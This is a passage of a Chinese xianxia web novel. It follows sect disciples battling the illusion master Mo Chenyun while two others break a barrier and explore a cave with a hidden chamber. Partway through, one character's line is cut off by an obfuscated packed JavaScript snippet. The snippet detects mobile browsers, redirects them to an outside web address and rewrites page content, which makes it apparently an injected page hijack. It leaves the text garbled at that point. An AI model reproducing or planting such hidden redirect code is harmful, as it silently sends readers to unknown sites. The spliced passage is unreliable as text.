因为哪怕不去看,此刻那处的危险气息,也已经到了无法被忽略的程度。 他很清楚,如果不是祝昭昭方才拉的那一把,但凡自己再在那处站上哪怕多一秒…… 都会悄无声息地陷入那位神设下的陷阱之中。 “中招的话,会很麻烦吧。” 身旁少女语气担忧,出口的话却锋利:“毕竟刚才我在结界里,没办法动手。” “而如果慕师兄你真的陷入那处陷阱,那之后不管那位神是趁机去解决之衡师兄他们,还是先好好对付师兄你……” “这次计划都会变得异常凶险呢。” 少女意有所指地说完,朝他甜甜微笑:“不过没关系,因为昭昭从结界里出来,可以助慕师兄一臂之力啦。” “昭昭运气很好对不对?” 运气很好? 腕上温热细腻的触感不知何时已经消失,慕行秋望着少女明亮的双眸。 “对。” 他颔首轻笑:“昭昭师妹的运气……” “确实不错。” 下一秒,慕行秋一剑斩灭那处陷阱。 眼看那陷阱当场碎得不能再碎,祝昭昭也憋着笑见好就收,乖乖站在他身旁。 随着陷阱被斩,四周场景也波动着开始变化,连带着与两人有着相当远距离的莫沉云,身影也忽然变得模糊不清。 微嘲的声音却在空气中清晰回响:“你们运气不错,只是若仅此程度便想破我幻境……” “仍是徒劳。” 仿佛示威般地,莫沉云话音落下的瞬间,原本还在波动着的景象一瞬回归平静。 树林再度无风自动,空气里几乎只剩下极速响起的沙沙声。 危险的气息开始弥漫,祝昭昭刚想提醒慕行秋小心,一片碎叶便闪电般从她视线死角袭来。 有人却比那碎叶更快。 凌厉剑气将碎叶绞作粉末,朝元剑横在祝昭昭身侧。 慕行秋的声音也冷冷响起。 “小心。” 开口的时候并未回头,望着身前人颀长的背影,祝昭昭先是一愣。 片刻后,她拼命按捺住上扬的唇角:“好。” 另一边,莫沉云显然并不打算给两人喘/息的时间。 叶片被搅碎的同时,利刃割裂空气的啸音再度响起,又是数道碎叶从各个角度朝两人射/来。 闪身远离慕行秋为自己设下的防护,祝昭昭手起剑落,灵华准确无比地将所有叶片斩灭。 放下手,祝昭昭立刻佯作高兴地向慕行秋‘邀功’:“慕师兄,我是不是很厉害?” 不等慕行秋回答,数根藤蔓倏地拔地而起,成包围之势跃升至两人上方,欲化作囚笼将两人困在其中。 见状朝元竖于胸前,慕行秋口中默念,空出的手并两指,点在朝元剑身—— 一瞬炸开的光华如同生了眼,每一道都无比准确地将藤蔓断成两截。瞬移来到祝昭昭身边,他一剑再挥,剑气直朝远处的莫沉云而去。 却落了个空。 准确来说,在触上剑气的那刻,‘莫沉云’就已经化作了一缕烟。 而烟气四散时,他得意的声音也在四周回响—— “我在此十余载,早已与洛水合为一体,又怎可能轻易被你们伤到?” “一切挣扎都是徒劳无功!” 狂妄话音落下的刹那,无数藤蔓再次扭曲着,如同蛇一般在地面集结。 与先前所有的藤蔓不同,这次的藤蔓身上,缀满了数不清的黄色小花。 “你们今日,必将葬身于此!” 如同某种号令般,所有黄花猛地喷出大蓬淡黄烟雾,遮天蔽日的烟与暴动的藤蔓一起,转瞬将祝昭昭与慕行秋包围。 * 出了客栈便立刻驭剑,从与其他人分开后,白月书就匆忙带着云珈赶路。 努力试图从只剩残影的周遭景色里,辨认目前所在方位却无果。云珈认输开口:“月书师姐,我们现在是要去哪啊?” 白月书言简意赅:“不知道。” 云珈眼睛都吓大了:“不知道?” 大睁的双眼很快被狂风吹眯回去,她很不解:“昭昭的信上什么都没说吗?” 白月书:“嗯。” 云珈顿时‘嘶’了一声:“怎么会,她不是这样的人啊?” 仔细看着手中地图,白月书边看边答:“昭昭信中的确并未提到目的地的名字,她只是在地图上圈出了一个地点,让我们赶过去。” “但这个地点,我先前并未见过。” 刚开始听到白月书是按地图指引赶路,云珈冷静了下来。 可听到最后,她又察觉出些不对:“可是这段时间我们差不多把整个洛水都逛遍了,怎么还会有我们不知道的地方呢?” “而且仔细想想,她和慕师兄到底去了哪,给东西传话为什么都神神秘秘的,让我们去的地方,我们也根本没去过。” “真的好奇怪啊。” 闻言并不回答云珈,白月书只是静静盯着地图良久。 接着意识到什么:“昭昭让我们去的地方,似乎在洛水幻境覆盖的范围之外。” “幻境覆盖范围之外?” 云珈吃了一惊:“竟然还有这种地方??” “根据地图的指示与我先前的记忆相互对照来看,” 白月书再次确认:“洛水镇内,的确有这样的地方。” 闻言好奇心大起,云珈踮脚,尝试越过白月书肩膀看地图:“那我们离目的地还有多远?” “尚有一段距离。” 完全没注意到身后的动静,白月书收起地图,抬手朝地面一指:“但昭昭在信上叮嘱我们提前落地,步行前往。” 本命剑轻缨很快随着她动作下落,白月书跃下长剑后,示意云珈扶着自己手臂跳下来:“这里离目的地还有一里路,以我们的脚程,大约一刻钟后,便会赶到。” 对白月书的心意表示心领,云珈双腿一屈一蹬,直接从轻缨上跳下来:“谢谢月书师姐,但我自己下来就好啦。” 她双脚落地的同时,空气里忽然传来铁器撞上物什的清脆响声。 “什么声音?” 云珈先是一愣,而后下意识扭头向白月书—— “月书师姐,你脸色怎么怪怪的啊?” “没事。” 朝着不远处的巨石块张开手,白月书语气有些复杂:“只是你方才蹬剑的动作太大,导致轻缨插/进巨石里罢了。” “啊!” 看看那巨大石块又看看白月书,终于想起自己一身牛劲的云珈惊慌:“对不起月书师姐,我不是故意的!” “需要我帮忙拔剑吗?” 白月书下意识拒绝:“没事,我将它召回即可。” 然而她召了半天,轻缨都纹丝不动。 气氛因此陷入诡异的沉默,白月书最后一言不发地走到巨石前手动拔剑。 其间还因为劲使得太大,被拔出来的轻缨带了个趔趄。 望着好不容易站稳的白月书,云珈都快结巴了:“月,月书师姐,你还好吗?” 这句话像是触发了白月书的开关,让她浑身一震:“我很好。” “我们现在就前往那处罢。” * 两人开始朝目的地出发。 说是一刻钟,然而抱着尽快完事后去支援其他人的想法,两人实际上只用了半刻钟,就到了地图上所指的地点。 “哇,好空旷!” 望着眼前一望无际的空地,云珈抬手遮住头顶炽烈的阳光,语气难掩惊讶:“洛水镇里居然还藏着这样的地方?” 与一旁感慨的云珈不同,白月书小范围走动片刻后,抬手触上空气:“此地有些不对。” “不对?”云珈不解扭头,“什么不对?” 空中的指尖停在半路不得寸进,白月书语调微冷:“此地被结界笼罩。” 说着,停在半空的手快速向四周移动,她再次下了判断:“而且不是普通的结界。” “这个结界的强度,化神以下绝无可能破开。” 云珈被白月书的话震在原地:“化神……” 片刻后,她猛地回神:“月书师姐你的修为是?” 白月书即答:“元婴。” 云珈顿时抓狂:“那我们怎么可能破得了这个结界啊?!” 学着白月书把手放在结界上,她焦急:“昭昭知道这事吗?” “她知道。” 没想到得到的竟是这么个回答,云珈愣住,下意识看向白月书。 接着视线下移,在她一手掌心里发现了个桃子模样的物什。 另一只手上,则是个储物袋。 祝昭昭给的储物袋。 储物袋挂回腰间,白月书轻轻摩挲那颗小桃子:“这是个法器。” 很快反应过来,应该是祝昭昭给的那封信上有提醒,云珈盯着她动作:“法器?” “嗯。” 点点头,白月书将之捏起,贴在结界上:“它的作用刚好是……” “消解化神同境的结界。” 她话音落下的瞬间,以桃子法器为中心,本该坚不可摧的结界刹那间无声粉碎。 满天飞尘被风吹到脸上,感受着脸上传来的些微痒意,云珈不受控制地想起被戳破的气泡。 就这么简单? 她忽然感觉有些不太真实。 直到袖口被人扯了一下,白月书的声音也从旁传来:“时间紧迫,莫愣神。” “哦好。” 云珈终于回神,立刻跟上白月书。 不过没走两步,她就忽然想起什么:“月书师姐。” 白月书头也不回:“怎么了。” “你说负责引开镇民的那些人不用担心就算了,” 云珈随手揪下刮到自己脸颊的叶子:“负责毁掉月亮法器的人,他们能找到那东西吗?” “而且怎么毁掉也是问题吧,我有点担心我们回去以后,会碰见什么意外。” “无碍。” 显然早就考虑过这个问题,白月书语调平静:“他们先前被神控制过,按稚雪的说法,他们在被控制的那段时间里和洛水有共感。” “所以如今他们虽然已经脱离洛水控制,但共感时的记忆还在,他们依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280579|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以找到那枚法器。” “原来如此。” 点点头,云珈放心下来:“既然这样的话,有秦师兄他们加上慕师兄的三道剑意在,应该不会再出什么大问题吧?” 她本是顺嘴一说。 可原本神情平静的白月书听完,却忽然眼神游移地抿了抿唇。 接着手腕翻转,她掌心多了枚铜制宝镜。 指尖灵力点上宝镜,白月书对着镜面低低唤了一声:“之衡。” 对面很快传来‘沙沙’轻响,以为是法器连接不畅,她举起宝镜靠近耳朵。 下一秒,一声大叫在宝镜那边猛地炸响—— “就给我看一眼都不行吗?!” 叫声激愤中带着委屈,不止白月书耳朵差点聋了,就连云珈也被吓得一个激灵。 沉默着把宝镜移回面前,白月书让出边上的位置给探头的云珈。 而一阵窸窣过后,秦之衡略显疲惫的话音也传来:“月书,怎么了。” “你们那边……”白月书顿了顿,像是在组织语言,“计划进行得顺利么?” “尚可。”秦之衡答得很快,“我们已经找到月亮法器的位置,很快便要到了。” 正说着,他忽然犹豫:“只是……” “只是什么?”白月书皱眉。 “只是钟师弟吵着非要一道大师兄的剑意。”秦之衡的声音听起来有些为难。 如同响应般地,嚎叫再次从宝镜里传来:“为什么不能给我看看!本来突然少了两个人计划行进就困难,我也不抱怨什么,就想拿道慕师兄的剑意看看怎么了?” “给我看看嘛!” 最后一个字落下,对面突然嘈杂起来,重物落地声和秦之衡略带惊恐的短促一声‘不要’交织着,让白月书这边的空气陷入死一般的寂静。 好半晌,云珈才瞪大眼:“月书师姐……对面那声音……是不是有人在地上打滚了?” 她话说得含蓄,但谁不知道这个打滚的‘人’是谁? 白月书顿时只觉头痛欲裂:“给他吧。” 秦之衡如获大赦:“好。” 轻叹口气,白月书切断宝镜连接后将之收起。 云珈看看她,又看看前方广阔的空地:“月书师姐,我们还要走多久?” “不用多久。” 快速环视四周,又在隐隐瞧见一处隆起时收回目光,白月书回:“马上就——” 凭空响起的尖利啸音划破寂静空气,快到只剩残影的黑光生了眼般直取白月书面门。 “月书师姐!” 素云出现在手,云珈运起剑诀便要反击。 白月书却比她更快。 原本欲要前进的动作硬生生侧转,白月书抓住身形变化的刹那,将指尖凝聚的灵力挥向黑光。 最后在云珈目瞪口呆的时候,足尖一点来到她身前,扯着她后脖领将她一同带离原地。 铁器落地的声音响起,两人也轻巧落下。 一切变化,不过发生在瞬息之间。 堪堪站稳就立刻看向黑光被击落的位置,云珈心有余悸:“天哪,那是个暗器!” “难怪那么空旷还没人看守,原来是藏着陷阱。” 说着扭头向身旁的白月书,云珈本想问她下一步该怎么办。 却见她正竖轻缨于身前,另一只手急速在轻缨剑身上描画符文。 几乎是立刻就认出这是威力极大的高阶剑招,云珈心中疑问刚升起,一阵极速且连贯的沉闷声响便忽然传进她耳中。 那是厚土被拱起的声音。 速度极快,接连不断,云珈循声悚然扭头,下一秒—— 无数银光破土而出,直直朝着她和白月书来。 也就是这个瞬间,白月书剑上符文的最后一笔,刚好收尾。 收手的途中干脆利落地让轻缨划破手指,吸饱血气的长剑猛然爆发出剧烈光芒。 道道剑意绽开,每一道都无比精确地对上银光,铁器相交再跌落的清脆响声混成一片。 接连不断的冲击引动狂风,被带起的黄沙漫天飞扬,震撼到失语的云珈控制不住地眯起眼。 高阶剑招威力大,消耗同样巨大。加之袭击不可能只有一波,担忧白月书撑不住的云珈捏紧手中素云,也想尽一份力。 然而她起手式刚摆好,整个人便忽地脚下一轻—— 是白月书以灵力缠上她腰间将她带起。 也就在她被带入空中的瞬间,原本站着的位置猛地有巨大木刺穿刺而出。 数道粗壮藤蔓紧随其后,以迅雷不及掩耳之势,当场将数人合抱粗的木刺勒断。 如果被勒住的是自己…… 心头一阵发冷,云珈下意识望向身旁。 哪怕经历如此巨变,白月书依旧面不改色。利落斩断底下纠缠而上的藤蔓,她语气沉静一往如常:“还没完。” 闻言面色微变,云珈立刻试图挣开腰上灵力:“月书师姐,我和你一起……” “不必。” 祝昭昭给的储物袋出现在手,白月书又是一剑朝下方横扫:“取出袋中法衣穿上,再拿好那个黑色法器,我稍后会将你送到目的地洞/口。” “我不要!” 并不伸手去接储物袋,云珈满脸焦急:“这里现在这么危险,我怎么能丢下月书师姐你独自应付这些东西?!” 像是早就知道云珈的回答,白月书平静的脸上多了丝笑意:“我知你担忧我,可你是否想过,昭昭为何明知此地危险,还要我与你一起来?” 云珈愣。 “哪怕不是和之衡,她也大可直接让我一人前来。” 白月书扭头:“为什么一定是我们两人?” 云珈不知道怎么回答:“我……” “快去吧。” 轻缨再度在下方扫出一片清净地,白月书直接将法衣披在云珈身上,又把黑色法器送入她手:“你要做的事才是这次行动里,最重要的一环。” 话落撤下束缚云珈的灵力,白月书望着她极速下落的身影,与她精神传音:“黑色法器上有留音符文会告诉你如何使用它。” “万事小心。” 话落收回目光,白月书消失在原地。 紧了紧身上法衣,稳稳落地的云珈望着不远处漆黑的洞口。 头顶是轻缨剑凌厉的剑意,四周是始终未停歇的陷阱与攻击,她站在白月书为自己创造出的,此处唯一的净土,捏紧掌心法器,头也不回地冲进洞中。 97. 不就摸个腰吗? 几乎是被黄烟包围的瞬间,祝昭昭就察觉到了其中的危险。 以最快的速度掩住口鼻,她提醒身旁慕行秋:“慕师兄小心,这烟有毒。” 慕行秋的回答,则是自指尖绽放的风诀。 不大却流速极快的风为两人清出一片净土,也让两人得以回复一部分视野。 正借着这短暂的喘/息时间考虑要不要让202上点避毒装备,祝昭昭忽然听见慕行秋的声音在自己耳旁响起:“左边腰间的储物袋。” 因思考被打断而懵逼的祝昭昭:“啊?” 慕行秋倒是很有耐心:“拿出我左边腰间的储物袋。” 祝昭昭终于回神:“哦。” 紧急时刻不敢过多耽搁,她话音刚落,手就一把扒上慕行秋的腰。 再清晰地感觉到手底下的人瞬间全身绷紧。 祝昭昭倒没想那么多,只是单纯有点不懂他反应为什么那么大。 怕痒? 不过手感确实还不错。 暗忖着,她很快把储物袋拿了出来。 鼻间开始弥漫起淡淡的月清花香,祝昭昭翻看手里月白色的锦绣小袋:“慕师兄,储物袋我拿到了,接下来呢?” “接下来,”头顶传来的平静话音里,隐约多了一丝无奈,“把你的手拿开。” 闻言触电一样收回手,祝昭昭表面:“对不起慕师兄,我一下子忘了。” 实际上内心:不就摸个腰吗,搞得跟非礼似的。 怎么不想想我还是被迫摸的呢! 偷偷撇了撇嘴,她把储物袋拿到慕行秋跟前:“喏。” “你来找。” 精神传音给祝昭昭两段口诀,慕行秋向下方挥出一道剑气:“第一段打开储物袋,第二段拿取化厄丹。” 嚯。 祝昭昭挑眉。 就这么随便把储物袋的口诀告诉别人真的没问题吗? 还有化厄丹…… 依言照做的同时,她顺嘴问了句:“慕师兄你就这样把口诀告诉我,不怕我哪天不小心说漏嘴吗?” 慕行秋突然笑了声:“那昭昭师妹你会吗?” 我会。 偷偷在心底翻了个白眼,祝昭昭将飞到手里的白色瓷瓶拿出来。 刚准备倒丹药,慕行秋的声音就又从头顶传来:“一颗便可,你自己吃。” 哦呦。 祝昭昭不由侧目。 化厄丹确实珍贵,但你身为主要战力不吃,只给我吃是怎么回事? 担心我中毒拖你后腿呗? 思及此不由得有些不爽,祝昭昭干脆吃下化厄丹后,把瓷瓶扔回储物袋。 刚想说点什么申明一下自己的作用性,下一秒,她眼尾余光忽然瞄见地面有黑影闪电般朝自己的位置冲来。 心头顿时猛地咯噔,祝昭昭催动灵华正要反击,身旁一道剑光已经落在黑影上。 巨大的尘烟自黑影处爆开,她扭头准备和慕行秋道谢,然后嘴还没来得及张,人就已经被他带着原地消失。 “你干什……” 剩下的话没说完,因为地面弥漫的黄烟忽地被破开,数道藤蔓闪电般追了上来。 其中最显眼的一道,藤身上赫然印着条巨大痕迹。 祝昭昭不由讶异:“居然砍不断?” 慕行秋对此似乎并不意外。 指尖快速掐了诀,数道灵力飞速在他身后幻化成剑影。他接着再朝藤蔓一指,道道剑影便瞬间朝藤蔓而去。 铿锵声刹那间炸响,几个回合下来,原本能将藤蔓斩断的剑影这次竟然占不到半点便宜。 莫沉云的声音也在此时,恰如其分地响起—— “很惊讶?” 声音很散,像是从四面八方传来,祝昭昭抬头,也只能看到漫天黄烟。 声音很快继续—— “这些藤蔓自洛水诞生起便一直存在,绝非方才被你们随意斩断的那些东西可比拟。” “你们今日,必将葬身于此。” 如同在响应莫沉云的话般,下一秒,两道藤蔓突然爆起,将剑影击得粉碎。慕行秋受到反噬,唇边当即渗出一丝血。 祝昭昭见状一惊,条件反射就想上前帮忙,身形却在行动的瞬间,仿佛被人拖住般猛地一滞。 接着,她就眼睁睁看着刚刚还被莫沉云说成‘绝非被随意斩断的东西可比拟’的藤蔓,干脆利落地一分为二了。 祝昭昭:? 她是该嘘莫沉云的手段就这,还是该震惊已经这时候了,慕行秋还没拿出压箱底的手段? 默了默,她最后选择老实观战。 而从第一根开始,第二根,第三根……随着闪动起来的剑光愈来愈多,藤蔓的碎块也越来越密。 绿色的碎块纷纷扬扬从空中落下,合着断口喷溅出的汁液一起,甚至让黄烟都濡湿消解了不少。 可明明是己方有利的情况,祝昭昭却总觉得有哪里不对。 但究竟哪里不对…… 思忖着,她下意识低头盯住重新被黄烟掩盖的地面。 再在片刻之后,倏然感应到什么。 眼瞳刹那紧缩,她几乎是大喊出声:“慕行秋,闪开!” 闻言毫不犹豫地消失在原地,慕行秋上一秒闪身,下一秒,恢复如初的藤蔓便擦着他衣袍暴起。 那东西竟然会复原! 祝昭昭咬牙。 难怪藤蔓被砍稀碎的时候莫沉云淡定到反常。 原来在这等着他们! 若只是会复原就算了,然而这几根藤蔓恢复以后不止更加坚韧,甚至攻击力也比一开始强上不知多少,在追逐慕行秋的过程中把周围环境都破坏了个七七八八。 而似乎是觉得相比慕行秋,祝昭昭只是不起眼的小角色,藤蔓攻势虽猛,却始终没有主动靠近她。 再加上慕行秋一直和她保持着相当的距离,是以她硬是在眼前一片混乱的战局里,原地罚站到现在。 却正合她意。 快速分辨出目前对慕行秋最具威胁的藤蔓是哪根,祝昭昭深呼吸后闭上眼。 片刻再睁开,她朝慕行秋精神传音—— “靠右手的藤蔓,五寸偏左。” 没有半点犹豫,慕行秋本欲移动的身形几不可察地微顿。 下一秒,他足尖轻点另一根藤蔓借力,轻飘跃至祝昭昭所说的藤蔓位置上,举起手中朝元就是一剑。 与先前的铜墙铁壁般的坚固不同,这次,朝元仿佛刺入豆腐,轻而易举便没入蔓身中,顺利程度让慕行秋都不由得眉头一挑。 手腕一进一拧,他催动剑诀,暴烈剑气让藤蔓直接从内部炸出大洞。 祝昭昭的精神传音也再次在他脑海响起—— “下十寸,偏右。” 脚步微错后出现在她提示的位置,慕行秋再次举剑。 随着剑光亮起,蔓身上很快再次多出个大洞。 祝昭昭报位置慕行秋动手,从这一刻开始,两人间就此达成了一种无形的配合。 尤其当慕行秋发现按照祝昭昭指出的位置攻击,藤蔓就再无法复原后,两人的配合更是到了祝昭昭刚精神传音,慕行秋的剑就已经在蔓身上开了洞的程度。 “直接把这东西从头劈成两半。” 盯着慕行秋在蔓身上开的第五个洞,祝昭昭一字一句:“让那嚣张家伙看看,他不可比拟的树藤,是怎么死得不能再死的。” 余光将少女眸中跳跃着的光芒收进眼底,慕行秋唇角微弯。 朝元极速在手上挽了个剑花,他抬手,比天光更耀目的剑光刹那亮起,自浓绿似墨的藤蔓中央将之从头到尾,一分为二。 连他自己都意识不到,这一次,他挥剑的动作,悄然带上了几分快意。 有了第一根藤蔓的经验,两人如法炮制,很快将剩下的藤蔓全部斩毁。 然而不等两人松口气,祝昭昭很快又察觉到有危险气息朝着慕行秋所在的方位急速袭去。 她几乎立刻:“慕师兄小心!” 早在周围气息波动的瞬间便察觉异常,慕行秋不躲不闪,回身抬臂,横在面前的朝元,刚好架住直劈而下的树枝。 空出的另边手则两指并拢,一道剑气闪电般刺向莫沉云。 却落了个空。 他整个人在剑气袭来的前一秒,已经散作烟气。 但慕行秋丝毫没有放松警惕。 因为祝昭昭的声音再次在他脑海响起—— “右边!” 朝元直接朝右方横扫,慕行秋冷眼看着莫沉云的身影再度消散。 一边的祝昭昭亦咬紧牙。 她和慕行秋相互配合,的确能抓住莫沉云的行动轨迹不假。可慕行秋一出手莫沉云就消失,实际上两边相互根本奈何不了对方。 不止如此,慕行秋每一次动手都需要消耗灵力,而莫沉云哪怕找不到进攻的机会,单凭闪躲,也能让慕行秋不断流失灵力。 长远来看,慕行秋被耗死几乎是注定结局。 仿佛已经听见莫沉云得逞的笑声,祝昭昭眸光沉沉地望着他此刻所在的方位。 如果攻击会让他化作烟气逃走…… 那么设下陷阱,引诱他主动攻击又会怎么样? 极速思考间,祝昭昭忽然福至心灵。 她嘱咐202:“帮我掩盖气息,我现在要下去。” 202也不多话,直接比了个‘OK’的手势后,飞到祝昭昭头顶上方。 与此同时,力求保险的祝昭昭催动隐息诀,在双重保护下催动灵华朝地面降落。 黄烟飞速聚集而来,所幸刚才吃的丹药还在发挥效用。心说慕行秋总算还算有点用处,她环顾四周后,从储物袋取出一根莲花形状的铜制法器。 202问她:“主人,好端端的你跑下来干嘛?” 以灵力催动莲花法器,祝昭昭也没跟它绕圈子:“下来逮人。” “逮人?”202满头问号,“逮什么人?” “不用问,一会儿你就知道。” 话落便快步赶到一处空地站定,祝昭昭一把将手中变长的莲花法器插/进地面。 然后拖着法器开始走。 确实看不懂祝昭昭在干什么,202于是飞到她上方略高的位置安静看着她动作,接着在一段时间后突然‘哦’了声。 祝昭昭稳住下意识微动的手:“202你是不是想死。” “对不起嘛。”立刻飞到她身边和她道歉,202看着法器留下的痕迹,“不过主人,莫沉云在上面呢,他会不会看见啊?” “那你觉得他现在的反应,像是看见了吗?”重重在地面划出最后一笔,祝昭昭拔起法器再随手一抛,然后直接坐在上面,“不过如果你真的担心他发现,那就再给地面上层障眼法。” 像是被踩到尾巴一样跳起来,202激动:“才不要,我已经很累了好不好,就连帮主人你隐匿身形都费了我好大精力了!” 它一个劲往祝昭昭脸颊拱;“主人你要心疼一下我知不知道?” 不耐烦地推开202,祝昭昭抬眸望着空中不甚清晰的影子。 那是慕行秋。 目光从他多了几道裂口的衣袍上收回,难得瞧了个新鲜的祝昭昭唇边不自觉扬起抹弧 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使劲想扒开脚上藤蔓却无果,祝昭昭朝后挪了两下,示威般地胡乱挥动手中灵华:“再靠近我,我保证你一定会后悔!” “后悔?” 似笑非笑地重复了一遍祝昭昭的话,莫沉云打了个响指—— 再次出现的藤蔓,直接缚住了祝昭昭撑地的双手。 唇角在听见祝昭昭惊叫的那刻弯起,莫沉云不紧不慢地走向她:“你倒是说说,你如今这副模样……” “要如何叫我后悔?” 话落目光朝身后方向一斜,莫沉云语气轻慢:“我劝你莫要轻举妄动,否则,” “我立刻要你这小师妹四分五裂。” 如同警告般地,缠在祝昭昭手脚上的藤蔓顿时齐齐发力,扯得她整个人不稳,差点一下躺地上。 也正因如此,祝昭昭错过了自己趔趄时,慕行秋眼底一瞬闪过的阴沉。 虽说不想让莫沉云得意以至于按捺住了下意识的反应,但身/体不受控制的感觉还是让祝昭昭相当不爽。 心底默念清心咒,她继续将坚忍不屈的小师妹形象贯彻到底:“慕兄不要管我,现在就杀了他,除掉这个大祸害!” 慕行秋并不应答。 静静盯着莫沉云的背影许久,他开口:“你要如何。” “如何?” 闻言嗤笑出声,莫沉云背手:“把剑扔到我脚下。” 正演得认真的祝昭昭差点笑出声。 剑? 脚下? 莫沉云确实不太了解这位面善心黑的剑宗大师兄。 岂料她上一秒刚腹诽完,下一秒,空气里就传来‘当啷’一声脆响。 那柄慕行秋从不离手的朝元,被废铁般被抛在莫沉云脚边。 祝昭昭瞳孔地震。 不是,这可是你的本命剑?? 真就扔了?? 她的震惊无人发觉,莫沉云重重一脚踏在朝元剑身:“很好。” “接下来,自封经脉。” 空气安静片刻,自觉胜券在握的莫沉云却甚至没有回头。不过他身后,灵光也的确很快亮起又熄灭。 祝昭昭感觉自己已经看不懂这个世界。 不是,到底发生了什么? 慕行秋被毒烟熏坏脑子了是吗?? 她就说丹药这种东西不能省! 眼前的景象没有给祝昭昭太多的思考时间。 因为莫沉云的下一句话,让202都忍不住咋舌—— “跪下。” 他转身朝向慕行秋,慢条斯理地开口:“为我死去的藤蔓们磕头。” 很难说清瞬间在心底疯狂蔓延的情绪究竟是什么,透过莫沉云的背影望着那抹白色衣袍,从战斗开始到现在,祝昭昭第一次动了真火。 下一秒,赫然出现在掌心的银链闪电般无比准确地勒住莫沉云脖颈,原本‘动弹不得’的祝昭昭缓缓从地上站起。 “为你的藤蔓磕头?” 随意踢开脚边断成几节的藤蔓,她平静的话音里带了隐怒:“不如你先给我磕一个?” 话落祝昭昭手上猛一发力,银链刹那绷得笔直。 ‘哗啦’一声猛地在空气中炸响。 巨大的窒息感降临,莫沉云虽暗暗心惊于眼前的金丹小修竟然是假意被自己控制,但求生本能让他实在无暇顾及太多。 脚步微动间急速朝祝昭昭方向后退,他几乎是瞬息便来到她跟前。 轻易扯下脖颈处的银链,自觉栽在金丹小修身上的他越想越气,一把伸手掐住祝昭昭脖子。 泄愤一般缓缓将她举起,莫沉云笑意阴森:“我本不屑与你这小修计较。” “但你若主动找死,可就怪不得我了。” 氧气急速流失的感觉让大脑控制不住地发晕,祝昭昭垂眸盯着莫沉云。 主动找死? 好一个主动找死。 鼻间哼出声冷笑,祝昭昭藏在袖中的手飞速掐了道诀。 诀成的瞬间,莫沉云脚下倏然亮起耀目灵光,刹那张开的法阵将他牢牢禁锢在其中。 抓住他愣神的一瞬,祝昭昭高声:“慕师兄——” 她剩下的话甚至还未出口。 下一秒,莫沉云胸口已经多了个血洞。 眼前的画面仿佛被无限拉长慢放,鬓角碎发后知后觉地被剑风吹起,祝昭昭眼睁睁看着血洞处飞溅出的鲜血朝自己喷/来。 而莫沉云背后,慕行秋一双眼平静如深潭,手中朝元不染丝血,闪动着雪亮光华。 98. “你为何任意行动?” 一头扎进山洞的刹那,所有嘈杂的声音都消失了。 四周静得落针可闻,云珈扭头向洞/口处望了眼,却只望见一片漆黑。 “这山洞也有结界吗……” 喃喃自语完,她不自觉打了个寒颤,这才发现山洞里的温度似乎异常的低。 将身上法衣扯了扯紧,云珈思忖片刻,从储物袋中取出照明用的萤石。 将之戴在脖颈上,她开始快速在洞中探查起来。 萤石被灵力催动后明亮异常,得以让云珈毫无障碍地看清洞/中环境。然而她走了一圈,却发现这地方空空如也,根本看不到任何装饰或器皿。 但也不是真的就一干二净。 目光落在地面的奇怪黑色符文上许久,云珈在脑海里将掌教教过的知识过了一遍又一遍,却怎么都找不到相关的记忆。 “这到底是什么东西啊……” 直觉告诉她,这些诡异的符文不是可以随意触碰的存在。于是哪怕她已经蹲在地上,以极近的距离打量,也硬是没有伸手去摸。 可既不知道这是什么,又不能乱摸,那完成任务的事从何谈起? 越想越着急,努力让自己冷静下来,云珈盯着符文半晌,突然灵机一动。 在客栈里,众人说传讯法器失灵,是因为它不能与外界传递消息。 可当时并没有人试过传讯法器在洛水镇内,还能不能使用。 如果能呢? 思忖着立刻打起精神,她很快从储物袋里找出传讯法器,并以灵力将之催动。 庆幸的是,结果也不负她所望。 随着一阵‘沙沙’声响起,白月书的声音很快透过法器传来:“何事。” 明明是一如往常的,平静到有些冷淡的话音,对这会儿的云珈来说却如同天籁。知道白月书在外面情况更加不好,她定了定神,把山洞环境和黑色符文的事简短地说了一遍。 接连不断的铿锵声持续了好一阵后,白月书的声音才再度传来:“你是说,洞中的地面有很多黑色符文?” “嗯。” “这些符文是何模样?” “长而方,大约半个手掌那么大。”萤石离符文更近,云珈认真打量,“两个圈圈住中间的符号,我没见过,掌教也没教过,看起来像,像……” 她沉默了相当一段时间才开口,像是终于找出准确的形容词:“像一个不成形状的字。” 白月书立刻:“什么字。” 云珈不太确定:“引?” 引…… 脑海中飞快闪过什么,白月书并不第一时间接话。 那边云珈也没急着听回答。 边说边站起身,她拿起脖颈处的萤石照向地面:“而且我感觉这些黑色符文是特意按某种规律分布的,五个围成一圈。” 另一边,白月书想了想,再问:“这五个符文中间有无划线将之连接起来。” 云珈:“有。” “划线可否有特殊形状。” “有。” 白月书安静片刻,半晌才接着道:“什么形状的划线。” “嗯……” 云珈绕着符文走了一圈:“就是普通的圆形,不过中央有一个很复杂的图案,然后图案最上面,画了一个小小的箭头。” 白月书沉吟,“箭头指向何处?” “东南。” 说着朝箭头指向的地方走过去,云珈打量面前的石壁半晌后,很快注意到什么:“月书师姐,箭头所指的石壁似乎有点不对劲。” “那处石壁应该是密室的入口。” 白月书像是早有预料:“如果我预估得不错,你口中的奇怪符文应该……” 云珈顺着问:“应该什么?” “没什么。” 又是一道巨大铿锵声炸响,白月书淡淡:“你等等,让我想想此密室门该用何种方法打开。” 出乎预料白月书的是,云珈并没有答应她。 而是很高兴地开口:“不用?” 白月书:? 一剑纵劈斩落扑面而来的暗器,她静静等云珈把话说完。 果然不多时,那边的云珈接着道:“方才我靠近石壁仔细看,手里传讯法器跟着我移动到一个地方的时候,那里的石壁亮了一下,刚好让我看见一个小小的箭头。” “我顺着箭头方向找到个小图案,按下去以后,密室门就开了!” 比起云珈的兴奋,白月书的情绪却并不很高。 看着地面接连不断的坑洞,她轻不可察地皱眉:“此地危险重重,为何一瞧见那个小图案,你便敢随意按下。” 听出白月书话里意思,云珈连忙解释:“因为那是我和昭昭在学堂考学的时候常会用到的图案,否则的话我绝不可能轻易动手的。” 